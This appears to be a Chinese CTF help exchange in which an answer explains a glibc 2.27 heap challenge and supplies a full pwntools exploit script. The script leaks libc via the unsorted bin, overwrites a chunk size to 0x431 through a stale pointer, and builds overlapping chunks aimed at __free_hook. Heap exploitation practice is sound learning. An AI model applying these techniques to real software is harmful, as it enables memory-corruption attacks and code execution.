这道题用的是libc2.27版本，我写了一点脚本但后面实在不会了from pwn import* f...

你这题后面卡住，核心原因是：你现在这 26 次 add(3) 的堆风水做偏了。
真正有用的点不是把 chunk 一直切小，而是要让 slot2 那个悬空的 hawk 指针，正好落到某个新 otter 的中间，这样 read(2) 的最后 8 字节就能精准改掉“下一个 chunk 的 size”。在 glibc 2.27 里，0x50 这种小块会进 tcache，而 0x440/0x450 这种大块不会进 tcache，会走 unsorted/largebin，所以这里本质上是“拿大块切小，再用悬空指针改 chunk header”。(Ironstone)

我先把程序逻辑给你捋一下，你后面就顺了：

c
fox   -> malloc(0x430)   // chunk size 0x440
hawk  -> malloc(0x440)   // chunk size 0x450
otter -> calloc(1,0x48)  // chunk size 0x50

free(index):   free(ptr)        // 不清空指针 => UAF
clear(index):  ptr = NULL       // 不 free，只是把槽清掉
show(index):   printf("%s", ptr+8)  // 只能用一次
read(index):   read(0, ptr+8, 0x18) // 最多 3 次

所以这题第一阶段就是：

1. free(1); show(1) 泄露 unsorted bin 的 bk，拿 libc。
2. 用 free 不清指针 + clear 只清槽，做出 stale pointer 改下一个 chunk size。
3. 再造 overlap，后面才有资格做 largebin / unsorted 方向的任意写。

你现在这段：

python
add(3)
add(1)
add(2)
add(3)
free(1)
free(2)
for i in range(26):
    add(3)
    clear(0)
free(3)

问题在于这里 26 不对。
fox(0x440) + hawk(0x450) = 0x890。
你切 26 个 otter，总共吃掉 26 * 0x50 = 0x820，只剩 0x70。这条路最后只会在尾部留下一个很小的 remainder，并不能把 slot2 变成你想要的 header-overwrite 原语。

真正该做的是：

• 先把 fox + hawk 合成的 0x890 大 chunk 切掉 14 个 0x50
• 这样第 15 个小块（记成 A14）的 size 字段，刚好会被 stale slot2 的 read(2) 末 8 字节打到

关系是这样的：

• slot1 原来指向 fox 开头
• slot2 原来指向 hawk 开头，和 fox 开头相差 0x440
• 每个 otter chunk size 是 0x50
• 0x440 = 13 * 0x50 + 0x30

所以当大块被切成很多 0x50 之后：

• slot2 会落在第 14 个小块 A13 的偏移 +0x30
• read(2) 是从 slot2+8 开始写 0x18
• 也就是写到 A13+0x38 ~ A13+0x4f
• 而 A14 的 size 字段正好在 A13+0x48

所以 payload 最后 8 字节改的，正是 A14->size。

你后面应该这么写：

python
from pwn import *

# p = remote(...)
p = process('./pwn')
context.log_level = 'debug'

libc = ELF('/home/hpp/s/buu/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

def dbg():
    gdb.attach(p)
    pause()

def add(i):
    p.sendlineafter('>>','1')
    p.sendlineafter('(3)otter',str(i))

def free(idx):
    p.sendlineafter('>>','2')
    p.sendlineafter('index:',str(idx))

def show(idx):
    p.sendlineafter('>>','3')
    p.sendlineafter('index:',str(idx))

def read_(idx, content):
    p.sendlineafter('>>','4')
    p.sendlineafter('index:',str(idx))
    p.sendafter('set tag:', content)

def clear(idx):
    p.sendlineafter('>>','6')
    p.sendlineafter('index:',str(idx))


# 0: otter, 1: fox, 2: hawk, 3: otter
add(3)   # idx 0
add(1)   # idx 1
add(2)   # idx 2
add(3)   # idx 3

# leak libc
free(1)
show(1)
p.recvuntil('tag:')
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = main_arena - 0x60 - 0x10 - libc.sym['__malloc_hook']
log.success('main_arena = %#x' % main_arena)
log.success('libc_base  = %#x' % libc_base)

# merge fox + hawk => 0x890
free(2)

# 把 idx0 清空，用来反复领小块
clear(0)

# 先吃掉 14 个 0x50 小块
for _ in range(14):
    add(3)      # 一直落在 idx0
    clear(0)    # 只清槽，不 free

# 现在 next one 就是 A14，保留下来
add(3)          # idx0 = A14
add(3)          # idx4 = A15（后面做 overlap 用）

# stale idx2 指向 A13+0x30
# read(2) 覆盖 A14 的 size -> 0x431
read_(2, b'A'*0x10 + p64(0x431))

# free fake chunk A14(0x430)
free(0)

# 原来的 idx3 otter 紧跟在 fake chunk 后面
# 此时 free(3) 会向后合并，得到更大的 overlap chunk
free(3)

# 这里就已经进到 overlap 阶段了
dbg()
p.interactive()

这里最关键的不是 payload 本身，而是这三步：

python
for _ in range(14):
    add(3)
    clear(0)

add(3)      # A14
add(3)      # A15
read_(2, b'A'*0x10 + p64(0x431))

你原来的 26 要改成这条思路。

你可以把这段先想成“中间态”：

• idx2：悬空 hawk，负责打 header
• idx0：伪造出来的 fake/free chunk，负责被 free / overlap
• idx4：留一个活的小块，负责做 overlap 观察点

再说一下你后面该往哪走：

• free(0) + free(3) 之后，你已经不是普通 UAF 了，而是拿到了 fake size 造 overlap 的能力。
• 这一步之后，通常会转去做 overlap large chunk，再利用 idx0 的 UAF 去改大 chunk 在 unsorted/largebin 里的字段，最后奔 __free_hook 或别的可写目标。

也就是说，你现在真正该验证的是：

1. read(2, b'A'*0x10 + p64(0x431)) 后 free(0) 不崩。
2. 接着 free(3) 也不崩。
3. 说明 fake chunk 和 backward consolidate 都成立了。

只要这三步成立，你就已经从“不会做”跨到“链子接上了”。

我目前能确定的是：你脚本卡住的地方，不是 libc 泄露，也不是 free(3) 本身，而是前面的 heap feng shui 次数和保留 chunk 的方式不对。
把 26 这条改成上面这条 14 + 保留 A14/A15 + 改 size，你就能继续往 overlap 打了。